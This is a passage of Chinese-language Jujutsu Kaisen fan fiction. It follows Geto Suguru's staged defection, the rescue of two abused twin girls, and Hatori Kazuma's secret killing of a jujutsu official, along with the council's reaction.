似乎是夏油杰在前一天交谈时给他们留下的好印象,当他从钟乳石洞回来时,两个年纪大些的村民主动前来与他攀谈。 “我知道这些案件的凶手是谁。” 其中一个大叔神秘兮兮对夏油杰说道,换来后者困惑的表情。 “我已经解决掉‘神隐’的源头了。” 夏油杰想告知他在钟乳石洞那边的经历,但两个人坚称他们抓住的才是真正的始作俑者,将他带到一个破旧的仓库内。 或许在平时,这间仓库仅用来堆放稻谷或农作物。 但此刻呈现在夏油杰面前的,是一对尚且年幼的双胞胎女孩——没有被衣服遮挡的皮肤上,尽是被严重殴打所造成的淤青与肿胀。 由于夏油杰一行人的到来,使她们明显露出畏惧与瑟缩的神情,却无法逃离这间狭窄而坚固的木牢,仅能带着格外严重的不安与警惕,互相取暖般抱在一起。 夏油杰被这一幕惊得愣住片刻,才开口:“这是怎么回事?” “就是这两个人造成了一连串事件啊,”那个带他过来的大叔不满道,“用奇怪的力量袭击过我们好几次!” 奇怪的力量……原来这两个小女孩是术师吗。 “我刚才说过,事件的源头已经被我解决了。” 夏油杰放缓语气,再度向他们强调了遍。 但村民并没有听进去,他们固执的认定是这对双胞胎引发了一连串灾难,连另一个大娘也开始叫嚷。 “是啊,我的孙子也差点被这两个杀掉!” “那是他自己——” 双胞胎女孩之一想要说话,被更蛮横的训斥堵了回去。 “闭嘴,怪物!” “你们父母也是,拥有奇怪的力量!” “果然应该趁你们还是婴儿的时候就杀掉!” “………” 这些刺向咒术师、刺向夏油杰的话语太过尖锐,几乎是在瞬间就让他意识到—— 在极端无知与愚昧的境况下,普通人对咒术师所产生的恶意,往往并不亚于那些被负面情绪催生出的咒灵。 只因为拥有与普通人不同的力量,就要被迫承受虐待与囚丨禁,并将一切厄运与苦难的缘由归咎于她们身上吗。 即使有术师在为保护非术师的路上艰难前进着,过早失去了生命,也换不回他们的半分感激。 哪怕是保护了许多人的强者又如何,死亡依旧只能换来沉默,就这么安静的、永远的倒在了另一个残忍的世界里。 夏油杰虽然早有心理准备,却直至此刻,发觉他仍旧难以释怀。 他感觉自己内心忽然多了成倍的烦闷与焦躁,在整个胸腔里左冲右突,想要找个方向全部发泄出去。 ——对,没错,只要他反过来,将这些愚蠢的村民全部杀掉就好。 夏油杰的脑海中,突兀浮现出这个念头。 ——就像杀掉几只吵闹的猴子那样。 这是他之前表演过“偏激”时候说出过的话,此时却清晰无比的回响在他耳畔。 血管也在突突跳动,好似催促他尽快做出决定。 “你们……” 夏油杰抬起手,墨似的涟漪在空气中荡开,被驱使的大型复眼昆虫咒灵正待爬出——却骤然一顿。 [我们与普通人又有什么区别?除了拥有咒术以外。] 是羽取一真曾经对他说过的话。 [我要当教师,改革咒术界——为了减少不必要的伤亡。无论是术师,还是非术师。] 五条悟同样找到了自己的理想,并决定为之奋斗。 ——而他。 他似乎也应该,有一个关于未来的规划。 但倘若他在这里犯下杀害普通人的罪行,就失去与他们站在一起的资格了。 夏油杰那几乎要被负面情绪与压力冲垮的头脑,陡然清醒过来。 莫非,这其实是敌人的计谋? 不清楚,但有一点可以肯定——悟与一真都将计划的希望寄托在了他身上,而他绝对不能在这个最关键的时候掉链子。 夏油杰抬手在身前一挥,指尖好似随之切割开一道空气。 那只几乎要露出脑袋的节肢昆虫型咒灵被收了回去,转而爬出的是一只巨大的毛毛虫型咒灵。 它将脑袋的部位朝向那两个村民,张开了同样惊人的口器——内里布满了一圈又一圈的利齿,作势要袭击他们。 当普通人陷入濒死的境地,也能看见咒灵。 这两个刚才还疾言厉色的村民,瞬间就腿软得坐倒在地,害怕到整个人都开始哆嗦。 “这、这是……” “这才是‘神隐’事件的真正元凶。” 夏油杰的声音没有任何情绪,“当然,你们要是不信,我可以现场给二位表演一下,让它一口咬掉其中某位的脑袋……啊别担心,应该只会痛一会,很快就会感觉非常轻松了。” 这话越听越恐怖,让大娘和大叔也下意识抱在一起,瑟瑟发抖。 这姿势倒是与木牢里那对双胞胎姐妹太像,只不过此刻的她们已经看愣了,忘记害怕。 “你、你不是来帮助我们的吗……” 大叔壮着胆子问道,换来夏油杰冲他和善一笑——毛毛虫咒灵也挪动着满是尖刺的身躯,将大张着的口器朝他那边靠近一点。 险些把大叔吓得当场翻白眼。 “是啊,” 夏油杰瞬间冷下脸,“既然我是来帮助你们的,就给我记好了。” “如果没有我们这些拥有[奇怪力量]的人存在,连真正怪物都看不见的你们,到死都只会认定是神明发怒——就像只未开化的愚蠢猴子。” 那两个村民胡乱点着脑袋,也不知道有没有听进去。 “明白了就滚吧,趁我还能忍住动手杀你们之前。” 转身不再看他们的夏油杰抬起手,在召回毛毛虫咒灵前,顺带让它帮忙撞碎了眼前这个木制的牢笼。 “你们的父母呢?” 他问这对年纪看起来仅有四、五岁的姐妹,换来两人的沉默摇头——其中一位深发色的女孩,那只抱着娃娃的手也攥紧了,表情难过。 已经不在世上吗……这下可难办了。 他打算趁这次任务叛逃咒术界,但成为诅咒师就意味着往后生活十分危险,让他一时间想不出该如何安置这两个小女孩。 “别担心,已经没事了,我不会再允许他们欺负你。” 夏油杰无声叹口气,接着问道。 “你们还想继续留在这里吗?” 这次是格外坚定的摇头,另一位浅发色的女孩胆子更大些,伸出又收回几次,最终还是拽住夏油杰的衬衫一角。 意思很明确——她们想跟着夏油杰离开,去哪里都可以。 夏油杰这下是真的有点苦恼……但也不可能真把她们丢在这里。 即使抛开术师与非术师的立场,暴力殴打这对四五岁的姐妹并将其关进木牢里虐待的行为,依旧是极其恶劣且反人性的严重犯罪。 “等出去后,我先带你们去报警。会有政府来严厉惩罚他们的。” 送他们去坐牢也算罪有应得。 遑论,他曾经和一真去做任务时,被后者教导过——普通社会的警察,有时也是非常有用处的。 想了想,夏油杰俯下身对她们说道,口吻十分温和。 “至于你们,到时候可以再考虑去福利院、另找条件好的收养人家,还是跟着我……好吗?” 他看着这对姐妹轻轻点了下头,也跟着稍微松口气——像他这种明显只是个高中生的未成年,怎么看都不可能会是小孩选择的对象吧。 很快,夏油杰就发现他的这口气松得有点早。 ……… 当羽取一真接到电话时,外面的天空尚且蒙蒙亮,曦阳仅在天际线露出一道窄窄的边。 “咳,一真。” 是夏油杰的声音,似乎在为什么事苦恼又不得不打电话来求助他,显得十分不好意思。 “你介意我多带两个小孩一起投奔你吗?” 羽取一真:“…嗯?” 第154章 为了避免被辅助监督发现他不告而别, 夏油杰是趁着夜色悄悄溜走的。 叛逃得十分鬼鬼祟祟,不知道的还以为他在做贼。 路过警察局时,顺势报了个警。 可无论私下怎么劝说, 那对姐妹坚持想要跟着他走, 夏油杰只好骗警察说他认识她们的远房亲戚,会将她们送过去。 这也是他熬了个通宵,坐着鬼蝠鲼咒灵紧赶慢赶朝盘星教这边飞来的缘故。 二人约在盘星教附近的一个偏僻窄巷碰面。 羽取一真有点好奇这两个小孩是怎么来的,但夏油杰暂时没有空解答这个问题。 “不好意思,得暂时拜托给你照看。” 夏油杰将这对伤痕累累的双胞胎姐妹介绍给羽取一真——浅发色的是枷场菜菜子,深发色的是枷场美美子。 “按照原定计划, 我得先回自己家一趟,伪造攻击后的咒力残秽和血迹。” 将双亲哄去外国旅居还不够保险, 机灵小悟建议他干脆在叛逃时顺便伪造双亲的“死”。 既能让夏油杰的父母不被敌人觊觎, 也恰好能坐实他诅咒师的恶名。 夏油杰听完觉得很合他心意, 确定在叛逃时就顺便去实施一下。 “而且, 我还得在外面闲逛两天,” ——他小声和羽取一真解释, “不止等咒术界正式宣布我叛逃,也要等你这边的消息。” 夏油杰话里指的是那位[教祖]。 先定下他叛逃的名头,羽取一真就能顺理成章拿着这件事去询问对方该怎么做了。 要是能当场见到那位[教祖]的真面目就更好。 “好。” 羽取一真对这份计划的按部就班没有异议,却见到正打算离开的夏油杰又变得有些好奇, “怎么了?” “你打算用什么理由带美美子和菜菜子回盘星教?” 羽取一真思考片刻, “实话实说就好了。” “……能行?” 夏油杰有点不敢相信。 不过,他也交代过这对姐妹无论什么都要听羽取一真的, 应该没什么大碍吧…… “放心。” ——对此,拥有盘星教100%支配度的羽取一真,只用了一个单词回应他。 ……… 五天后, 东京校高专。 “杰叛逃了!?” 刚做完任务返回的五条悟站在教室外的走廊上,听到这个消息从夜蛾老师的口中说出。 “是的,他把旧顷村任务里的一大半村民都送进了警署,自己却躲了起来。” 夜蛾正道面色发沉,“还……慢着,你是不是在笑?” 是他的错觉吗,莫名感觉这小子没有预料之外的震惊啊。 听到[杰报警把村民抓起来一大半]的五条悟险些在心里笑翻了,表面上还要高高挑起眉梢,装模作样的绷起表情。 “哈?我怎么可能在笑?是夜蛾老师提前老眼昏花了吧。” “你……算了,”夜蛾正道捏了捏鼻梁,“杰的老家也已经人去楼空了,但辅助监督在现场发现了大量咒力残秽与血痕,推断……他大概对双亲也下手了。” 就是他给某人想出这主意的始作俑者·小悟当即表现得格外义愤填膺:“怎么可能啊!完全不敢相信!!” 他觉得自己第二句话有点没发挥好,音调稍微起高了——好险夜蛾老师正处于巨大的思维混乱中,没发现这点异常。 真是对不住了,夜蛾老师!不,校长! 五条悟在内心双手合十,为向他隐瞒杰叛逃的真相而诚恳道歉。 “没想到他会这么做,” 夜蛾正道听不见五条悟在内心发出的忏悔,连那声扶着额头的叹息都显得格外沉却无力,“我,” “……已经失去了两个优秀的学生。” 五条悟听到这句,终于没忍住接了一句。 “也不一定,夜蛾老师。” 但转身离开的夜蛾正道只是朝他摆了摆手,并没有把这句安慰当真。 “……是真的啦。” 五条悟看着那道身影彻底消失在拐角处后,又小声嘀咕一句。 他拿出手机,给如今已成为诅咒师的夏油杰打电话——后者已经换了部新手机,号码是一真转告他的。 “喂喂杰,你现在在哪里呢?” “新宿。” 电话里的夏油杰如实回道,“你什么时候过来?我就在这边等你。” “了解——马上到。” 等最后这步[同期友人决裂]的棋走完,夏油杰就真正彻底脱离咒术界、成为“十恶不赦”的诅咒师。 通话终止,夏油杰收起手机,抬眼却看见硝子正站在他面前。 “唷,好巧啊。” 见到夏油杰朝这边过来,叼着那支烟的家入硝子笑了声。 “有火吗?” 她如今染上抽烟的习惯,却偶尔会忘记带打火机。 夏油杰虽然不抽烟,却总是能在这时候,从口袋里摸出一个打火机递给硝子。 “没想到会在这里碰见你,” 硝子将终于点燃的烟夹在指尖,神态相当放松。 “这两天的事情我也听说了,任务的事先不提,双亲那个是被冤枉的?” 一真那次就已经拜托硝子帮忙隐瞒了——而她也做得很好——因此,夏油杰这次也没有选择在家入硝子面前继续演戏。 “嗯,被冤枉的。” 夏油杰笑了笑,目光转向她,“硝子会相信我的这个回答吗?” 为了让所有人都相信他是真的叛逃,他和悟没有告诉高专这边的任何人,连硝子都一直被蒙在鼓里。 这其实也能保证她的安全,最大程度的避免被敌人盯上。 但听到这句回答的家入硝子,在认真看着夏油杰几秒后,“嗯”了一声。 “相信哦。” 她的语气并不显得十分精神,却平淡而直白地说出了自己真正的想法。 “反正就是私底下和那两个家伙有着这样那样的打算吧,你们一定要成功啊。” 不仅没有质疑,甚至为他们送上了祝福。 “借你吉言。” 夏油杰怔愣片刻,唇角笑意里掺上些许真切的愉快情绪。 他在高专度过的这三年时光,已经没有遗憾了。 “既然是这么回事啊……” 家入硝子摸出手机,在夏油杰面前晃了晃,“还需要我给五条打电话吗?” “不用,” 夏油杰笑着摇头。 “悟马上就会过来。” ——之后,便是摩拳擦掌即将登场的五条悟,与被迫磨炼演技的夏油杰,在新宿上演的诀别一幕。 ……… 与此同时,盘星教。 羽取一真出门一趟,而后突然带回两个小女孩的行为,并没有引起特别大的轰动。 或者说,负面意义上的轰动。 毕竟,当教徒看见两个身上与脸上有明显虐待痕迹的四、五岁小女孩,只会升起眼里饱含泪水的同情与怜爱。 羽取一真从来没有照顾过这么小的孩子,好在盘星教的信徒里有许多带小孩业务熟练的长辈,几乎不用他操心。 那对姐妹也很听话乖巧,让做什么就做什么,大多数时候都安静待在原地,完全不闹腾。 很多教徒甚至试探性的来问过能不能收养她们,被羽取一真全部拒绝。 当然,羽取一真自己也没有养她们的打算,只是应夏油杰的委托,帮忙照看一段时间——至少不能把人给照看没了。 而他在今日,终于收到了夏油杰的邮件。 “酒见,” 羽取一真关起参殿的门,转身对自己的得力助手吩咐道。 “联络教祖,我有事找[她]。” ——而另一边,[虎杖香织]也接收了这场通话请求。 “是遇上什么烦恼了吗,一真?” [她]对羽取一真喊的格外亲昵,半分也没有显露自己仍在防备对方的事实。 “夏油杰在任务中违反对非术师出手的条例规定,又因争执而杀害双亲。如今已彻底叛逃咒术界了。” 羽取一真开门见山,声音里听不出任何情绪,仿佛只是在公事公办。 “鉴于我曾经与他关系不错,他刚才打电话来问我是否能投靠盘星教。” “哦?竟然发生了这种事吗。” [虎杖香织]更是表现得不动声色,没有提他在背后授意高层做了多少动作。 “他可是特级,自然要答应的。” 这是[她]预期会有的结果之一,并不对此感到意外。 虽说将夏油杰一直留在高专那边也没什么问题,但总归还是放在眼皮底下更方便[她]监视。 遑论,这也算是为了以后的[他]方便行事而提前铺路。 得知这个好消息,[虎杖香织]心情不错,在听到羽取一真继续询问“那么,该如何优待夏油杰”时,更是直接回了一句。 “让他成为新一任的教祖。” 直接成为教祖? 羽取一真没料到是这个回答,在沉默片刻后,立刻试探问道。 “如果他直接当上教祖,您该去哪里呢。” “我?” [虎杖香织]轻声笑道,没有回避这个问题,却也没有如实托出。 “我打算开始一场漫长的旅行。” ……… “旅行?” 已经来到盘星教的夏油杰目露困惑,关起门来和羽取一真偷偷商议。 放在他们面前的手机则保持着与五条悟的通话,开了外放。 “那个[教祖],真的就这样把整个盘星教让给了我们?” 羽取一真微微摇头:“这说明[她]想要利用盘星教做到的事情,已经全部完成了。” 才能这样慷慨的放弃盘星教,根本不在乎它有没有被别人抢走。 五条悟插嘴:“那杰想要接近对方的计划失败了?” 羽取一真:“我想,应该没有。” 上周目见到的夏油杰,后面跟着(已故)。 而此刻,这个[教祖]根本没有提[她]想要见夏油杰、或是想要他去做什么的意思。 那场交流并非毫无价值,羽取一真终于可以肯定一点——[她]只需要夏油杰的身体,是死的最好。 “我怀疑……[她]让夏油杰当教祖,根本不是将盘星教送出去。” 在脑海里组织好语言,羽取一真开口的语速不急不缓。 “千年来,盘星教内部都没有留下历任教祖的名字与资料,教祖却始终存在。换句话说……” “——任何人都可以成为教祖,只要那家伙想。” 脑筋反应极快的五条悟接上这句话,随即轻嘶出声。 “不妙啊,杰可能真得牺牲了……快努把力啊杰,偷偷学会反转术式、惊艳我们一下嘛。” 内容听起来有点离谱,令夏油杰卡壳了下才回道:“…这又不是努力一下就能办得到的事。” 能治愈自己的反转术式是每个术师都渴望掌握的技能,但会的人依旧寥寥无几——难道是他们不想学会吗? 五条悟:“别这么说嘛,要不让一真用[业双]和你切磋切磋,我保证他不率先使用双刃……” 夏油杰:“……你是想让我坐轮椅至少三个月起步吗?” 五条悟:“哎嘿。” ……竟然还试图萌混过关。 夏油杰虚起眼睛,转头却看见羽取一真的那双黑瞳格外亮晶晶,一副[啊悟这样真是超无敌可爱他已经完全被迷住了]的表情。 “…………” 呵,这反应更是丝毫不必感到意外。 他们平时黏在一起就已经够闪了,没想到分隔两地也能再度让他的眼睛吃饱狗粮。 而电话另一端的五条悟,明明半点也看不见羽取一真的反应,却依旧发出了一声盛满笑意的轻哼,就像已将对方表情尽数望进眼底似的。 ……夏油杰突然感觉自己,现在,真的有点多余。 多亏这两人在正事上的靠谱,让黏糊又默契的粉红泡泡氛围没有一直持续下去。 “好啦好啦,咱们说回正题。既然对方的要求如此明确,我们这边反而好办了。” 五条悟笑眯眯开口,说出羽取一真同样打算实施的下一步计划。 “——就让杰来真正的,死上一次吧。” 第155章 既然活着的夏油杰钓不出脑花, 那就用死掉的夏油杰来钓吧。 这个最后敲定的方案,被五条悟命名为[夏油杰诈尸]计划。 ——除了夏油杰对这个计划的名字颇有微词以外,一切都再度有条不紊地展开。 酒见绫子对夏油杰成为新任教祖这件事感到分外震惊, 但看羽取一真点头表示这确实是教祖的意思, 便也只好带着满肚子疑问向盘星教内宣布了这则通告。 领导层无人反对。 这很正常,他们之中的一半人被羽取一真发配去监狱里吃牢饭,一半人被发配去抓鸡种菜。 至于底层教众,他们平时就没有接触教主是谁,即使换了一个新上任的,于他们而言也没有任何区别。 而夏油杰, 其实也没什么空管教众。 想要达到顺理成章的死亡,得先满足[合理的被某人杀死]这一条件。 夏油杰身为特级术师, 要想被杀死且不让那个[教祖]起疑心, 可选的“动手对象”极少。 同为特级的九十九由基或许能够做到, 但一来没有她的联系方式, 二则无法确定她的立场,怎么想都可以直接排除在外。 羽取一真现在与夏油杰变成了同阵营, 虽然下手相当容易,但对应的风险也很高。 最终,三人还是敲定由五条悟来动手。 正好他们之前在新宿街头上演过一次同期友人分道扬镳,往后就当是继续把这个剧本续写下去。 而为了符合如今诅咒师的身份、以及达成他在诀别街头说出的[创造一个不会产生咒灵的世界]的理想, 夏油杰需要提高实力、收敛钱财。 成为诅咒师或许是计划之下的刻意为之, 但说出口的理想却是真实的。 只是,如何让世界不会产生咒灵……九十九由基提供了两种思路, [去除全人类的咒力]和[让全人类都能控制咒力],夏油杰目前尚且没有头绪该走哪一条。 索性时间还有许多,他需要先解决眼下在觊觎他身体的敌人。 收敛钱财这件事已经有羽取一真的【经营盘星教模块】在做了, 拥有[咒灵操术]的夏油杰只需要加倍努力的吸收咒灵就行。 为此,羽取一真特意安排盘星教额外开发了除灵业务,只要有感觉被邪祟附身、或是家里出现灵异事件的,都可以来盘星教寻求帮助。 盘星教现任教祖与圣子将会亲自出马,帮忙除灵。 只除了夏油杰有点沉默。 这怎么感觉跟他在高专干的活没有区别? 还变得更忙了,他一个人要对接好多单啊! 他觉得这样下去实在不太行,和羽取一真商量招募一些诅咒师人手,即使只能帮忙筛选哪些是误报、哪些是不用他们出手的低阶咒灵、哪些才是有价值的二阶以上咒灵也好。 同样连着跑空好几趟的羽取一真也同意了,招募的事情就交给夏油杰来做——要求只有一点,听话。 暂时不听话也行,他有的是办法让人听话。 总而言之,盘星教的除灵业务不仅是可以同时提升羽取一真和夏油杰实力的绝佳方式,还能为前者的小金库创收。 甚至五条悟有时忙不过来,还可以将自己的任务分一部分给他们。 一举三得,完全找不到理由拒绝。 菜菜子和美美子举手也想帮忙,被丨干脆利落地丢去上学了。 而除去提升实力以外,羽取一真还记得上周目的悟想要改革时,所面临的高层刁难。 恰好,如今已是红名的他行事时,不再需要有多少顾忌了。 悟那边传来消息,说原本是五年制的高专,由于他们那届出了两个诅咒师,兼之剩下的两位又是不需要再接受教育的特级与治疗师,便决定三年级就直接让他们毕业了。 而他也向夜蛾老师表达了自己的理想——后者虽然有些许诧异,但并没有拒绝,只说他可能会很辛苦。 原本咒灵的等级与数量就已逐年增加,咒术师的人手又根本不够用。 目前现存的三位特级:夏油杰叛逃、九十九由基拒绝合作,仅剩五条悟还愿意留在高专。 他可以留在东京高专当教师,但往后不可以此理由来推脱被安排给他的任务——这是上层给出的要求。 五条悟本身也即将继任五条家主的位置,那就代表他还有五条家的事务要忙。 即使这样,五条悟也答应了下来。 他并不觉得辛苦——但羽取一真很不高兴。 他之所以来打二周目,唯一目标就是给悟一个美好的结局。 这越来越往一周目的作息靠近是怎么个情况? 当他不存在吗?? “是谁提出的这个要求?”羽取一真冷冰冰问道。 “我也不清楚,夜蛾校长转告我的,”五条悟笑起来,在电话里揶揄他,“怎么了,不开心?” 羽取一真“嗯”了声,“我会想办法解决。” 至于想什么办法,羽取一真没有在电话里明说,反而让五条悟有亿点点好奇起来。 这要怎么解决?一真和杰已经在私底下帮忙分担他的部分任务了耶。 羽取一真的动作很快。 他结束与悟的通话,又要来夏油杰的那部手机,拨出一串号码。 这回,电话内的待机音响了许久,才被人接起。 “谁?”连这个单词,也带着些小心翼翼的味道。 “禅院直哉。” 羽取一真声音淡淡,一口喊出他的名字,“看来你还有点自知之明,没有换手机号码。” 倘若电话打不通,他就直接去禅院家里找人了。 禅院直哉:“…………” 啊啊啊果然是这个魔鬼!他刚才就在纠结要不要接这个陌生来电! 这家伙不是叛逃了吗,到底还有什么事情找他啊! “有……有什么事情吗?”禅院直哉硬着头皮开口,“如果是纹样的话,我还没找到……” “你现在是禅院家主了吗?”羽取一真直截了当问他。 禅院直哉:“……当然不是啊,我爹还活着呢!你在想什么啊!” 羽取一真:“啧。” 禅院直哉:“…你怎么好像比我还不高兴?” 他也想当家主啊,问题是现在他老爹的身子骨还硬朗得很,就算再续个二十年也毫无问题! “不管你用什么办法,找到提出这个方案的上层。必须包含人名和地址。” 羽取一真思考片刻,发现也没有更好的人选后,索性连死马也拿过来用。 他将五条悟接受任教高专的条件和禅院直哉简单介绍了下,便直接让他去找人。 禅院直哉:“…………你会不会把我想的太万能了,一真君?” 他这句话说得格外诚恳,但羽取一真当做没听见。 “五天之内没拿到名单,”羽取一真说,“我就亲自来禅院家找你。” 挂掉电话前,他给出了明确的死线要求。 “哈?等下……” 禅院直哉的话没能说完,听筒里已经传来忙音。 “……” 他盯着手机,再一次开始悔恨起自己当初为什么想不开,要去凑那个交流会的热闹。 老老实实待在家里不好吗?下人欺负起来不好玩吗?闲着没事干往那破学校跑! 禅院直哉在心底发泄完怨念,又变得害怕起来。 连甚尔都被他们杀了,要是被那个恶魔找上门来,自己也肯定会死的…… 他可不想死,半点也不想。 ………… 羽取一真没有等到第五天,便收到了禅院直哉的邮件。 这次,他乖乖发到了羽取一真的号码邮箱里,看来是对自己能逃脱恶魔掌心这件事已经完全不抱希望了。 而羽取一真也不去辨认真伪。 有什么好辨认的,杀错这次,下次也能杀对。 反正他都红名了,而这些高层对他的好感度都是-100——杀错杀对,有什么区别吗? 既能当做是一种警告与威胁,还能为悟以后的改革理想铺平道路。 黑豆柴的动物拟态,让羽取一真即使大摇大摆走在咒术界的地盘上,也没有人能发现他的身份。 那些用来防御非术师与可疑术师的领地结界,更是不会拦截一只可爱的、无害的狗狗。 趁着深夜,羽取一真按照禅院直哉给的地址,从偌大的宅院一路摸到对方休息的卧室。 他用发动了[黑闪]的前爪,一巴掌把人拍出两米远,近乎是晕头转向的被迫醒来。 “什么……什么情况?” 在他醒过来前,先一步感受到脸上传来的剧痛,忍不住哎哟哎呦的叫嚷起来——张口又吐出一滩带着牙齿的血沫。 “小井户光?” 解开了拟态的羽取一真平淡开口。 “你竟敢……” 被喊了名字的小井户光话还没说完,羽取一真便抽出手中的[业双],让后续训斥尽数停驻在一声彻底哑火的气音里。 【社交】界面已经显示出他的名字,确定没找错人,可以杀了。 谁有空等他在这里慢吞吞说完又臭又长的一串,又不是没办法skip的过场动画。 羽取一真确定对方的名字后面已带上(已故),正要离开前,望着血泊缓慢晕开的脚步一顿。 ………… 转日,收到消息的总监部,近乎瞬间哗然满堂。 “什么,小井在家里被杀了!?” “他家里不是有布下的结界?” “据说结界毫无反应,第二天早上的仆人去敲门时,才发现他的尸体已经僵硬多时了。” “怎么可能!莫非是[天与咒缚]……” “按照之前[天元同化]事件的报告,唯一的零咒力[天与咒缚]已经死了,这点毋庸置疑。” “那还能有谁悄无声息的做出此等事来?” “不,应该问凶手为何要这么做,小井最近有得罪谁吗?” ——在众人纷纷否认后,首座出声让他们安静,示意自己还有说话要说。 “此外,”他继续开口道,“发现第一现场的仆人,看见有人用沾着血的刃器,在小井户光的尸体旁刻出了一个标识。” 面对众人的询问,首座没有隐瞒,但语速极为缓慢。 “大犬座。更详细点描述,它拥有最亮的那颗……天狼星。” 第156章 虽说他们是咒术师而非天文学家, 并不了解大犬座抑或是天狼星。 但对于此刻的总监部而言,这两种都不可能会是什么好兆头。 小井户光悄无声息的死亡,就好似背后凶手在对他们发出冷淡的、轻蔑的嘲弄。 [我可以杀一个躲在自己家里的小井户光, 自然也可以杀你们。] 在很长的时间内, 会议室内死寂而沉默。 此刻,他们倒像是在吊唁这位已然故去的同僚了。 许久,其中一人才缓慢开口。 “这等羞辱,绝不可再发生二次。现场是否有检测到咒力残秽,可以推断出凶手杀人时使用的术式?” “发现尸体的时间太晚,周围的咒力残秽已散干净。” 首座表示没有任何发现, 却也补充了新线索。 “按照尸体的解剖报告来推断,小井死于类似刀剑或匕首的利器割喉而亡, 凶手没有给他死前求救的机会。” “另外, 在他的脸上还残留有第二道严重伤势, 造成了下颚骨粉碎性骨折, 推断是……某种钝器。” 说到钝器时,这位始终面色沉凝的首座略作停顿, 似乎也不太理解为何凶手要小井必死的情况下,还要多补这一击。 “钝器?”障子门后的人员纷纷追问,“是什么样的钝器?莫非那个凶手完全没有使用术式吗?” 总监部首座:“从尸检报告上来看,是这样。” 家入硝子的解剖报告很详细, 但在钝器的种类这方面, 她也给不出太准确的判断。 好困惑,她能理解有重物将骨质疏松的老人家下颌骨打碎, 但到底是什么东西造成的,从痕迹上竟然完全判断不出来! 这份附带尸体照片的报告在众人手中传了一圈,无人能猜测出那块凹陷到底是用什么武器造成的。 非要形容的话……这个硬币大小的凹坑, 其中有大概三到四处,痕迹似乎更深一些? “也不排除对方的术式便是能绕开结界防御、不引起任何动静的潜入小井家中。” 待众人看完后,首座再度做出猜测。 “…………” 又是一阵沉默。 除去小井户光到底是被谁杀的以外,众人其实更关心另一点——他因何而死。 谋财?复仇?被竞争对手雇佣? 这才是他们是否会成为下一个目标的关键。 但这种猜测要是在凶手尚未明晰身份之时问出来,倒显得他们畏首畏尾、做贼心虚,且毫无同僚情谊了。 此刻,忽然有人出声——“慢着,”他好似想起了什么,目光透过被烛火映照的半透纸门,朝某个方位望去。 “我知道有一人符合这个要求。” “什么?”首座问。 “禅院家的,就是那个[天与咒缚]。”那人微微压低声音,“据说之前的星浆体被杀的关键,就是仗着他能在高专结界自由进出,连天元大人都无法察觉到他……” “能随意进出结界,杀人没用术式而是咒具……确实很符合要求。” “啊那人,我记得五条那小子的报告里有写。” “但他不是已经死了?” “不好说啊,五条说他把尸体交给那个治疗师火化了,谁知道背地里有没有做什么交易……” “我想起来了,小井是不是之前提出了让五条在当教师的同时不得拒绝任务?” “那小子真是胆大包天!必须要……” “咳…恕老夫提醒,五条大人乃是我等的现任家主。” 参与会议的五条辰雄听不下去了,声音低沉的强调道。 竟敢在他面前如此妄加揣测五条家主,岂非等于在打他的老脸——何况,在场人员里也不是只有他一个五条家的! 这老家伙,不会当他们五条家好欺负吧? 虽说他也不赞同五条悟去当什么高专教师,但不等于在此刻能容许他人当面踩在五条家主、踩在五条家的脸面之上。 “怎么会,作为咒术界现存的二位特级之一,我等尊敬五条家主还来不及,如何会想对他做什么呢?仅是想要询问五条家主关于此事的一二想法罢了。” 被五条辰雄出声警告,对面变脸也极快,连笑着与他解释时,同样变成了一副和和气气的口吻,佯装自己方才并没有想要[会审五条悟]。 哼,听声音是加茂家的哪位吧,大概是趁机想要压倒五条家。 只是打算敲打对方的五条辰雄也没有当面拆穿,让各位重新将注意力放在如何追查凶手上。 ——在这间暗流涌动的会议室之中,众人各自有着自己的小算盘,小井户光倒彻底成了无人缅怀的那位。 “无论如何,各位最近都记得加强戒备。” 会议最后由首座发言,给予这间会议室内的众人忠告。 “至于动机,在五条悟之前已同意条件的情况下,暂且不必怀疑他。” 何况,如果五条悟真想杀小井户光,压根不必饶恕险些杀死他的敌人,还和他做什么交易。 真要杀起来,他自己亲自动手不是更快吗,别说那个组合技[茈]能瞬间把整栋楼都拆光,就算威力稍低些的[赫]或者[苍],在座也没人能挨得了一下。 这些话都不必说出口,大家想起[特级]所代表的含义,哪还有反驳的。 “至于小井户光,只能继续安排人调查线索……” 禅院直哉在电话里小声复述道,感觉冷汗都在后背稀里哗啦地淌。 早知道这家伙是去杀人的,他就不提供人名了! 这下可好,他也成了同谋——倘若被总监部发现,下一个被处死的就是他了! 已经成了诅咒师的对方倒是轻松,在外面潇潇洒洒的给他打电话下指令,半点压力也没有! 禅院直哉感觉他整个人都快气炸了,同时又慌得要命,还得按照那个恶魔的要求,把会议内容给他窃听过来…… 羊毛也不能只逮着他薅吧!? “你这不是做到了吗,”羽取一真若无其事道,“你现在揭发我也无妨,只看你愿不愿意同样被通缉了。” “顺带一提,你要是通缉就没用了,别来投奔我,我不收。” 当间谍的禅院直哉才是最有用的禅院直哉。 就像能接近[教祖]的夏油杰才是最有用的夏油杰一样。 哦不对,还能给他提供咒力结晶。 “…………” 羽取一真的话太过冷酷无情,令禅院直哉此刻的内心仿佛化身成一座轰隆作响的活火山,给堵得终于忍不住仰天喷火。 “不是吧,我这么辛苦帮你打探到了消息,” 又是熟悉的敢怒不敢言,禅院直哉给憋得在庭院里来回踱步,难以置信的问羽取一真,“我就没有半点酬劳吗??半点也没有???” 这么听起来确实有点不太厚道。 羽取一真想了想,对他开口:“禅院甚尔的尸体埋在我这里。” 确切地说,是埋在盘星教的后院某处,被当成天内理子的尸体处理了。 他还记得禅院直哉似乎挺崇拜禅院甚尔的,倘若对方想要,可以哪天带着麻袋来偷偷挖走,见他堂兄最后一面。 禅院直哉:“…………” 禅院直哉深深吸了口气,感觉自己快要控制不住体内汹涌的咒力了。 好想把手上的电话给捏成渣渣,就像他想对这个恶魔做的那样! ……但禅院直哉不敢。 崇拜堂兄和他惜命这两件事情,并不冲突。 羽取一真能轻而易举杀掉小井户光,自然也能轻而易举杀掉他——就算羽取一真杀不掉,他背后还站着个五条悟! 别以为他不知道,这两人表面上不死不休,背地里照样黏糊得很。 看这小子,杀上层不就是为了给五条悟出气吗? 哼,别以为他会真的找死。 禅院直哉深呼吸几下,把满肚子的怨气又压回去。 “所以呢,你这次又想干掉哪个?”他问,“你真就这么明目张胆吗,还在尸体边上画星座?不怕被联想到盘星教?” “联想到又能怎么样,”羽取一真丝毫不在意,“我已经被通缉死刑了,还能多死几次?” 禅院直哉:“……我还真是无法反驳。” 重点是逐步筛出排斥、欺负、压榨悟的那帮人。 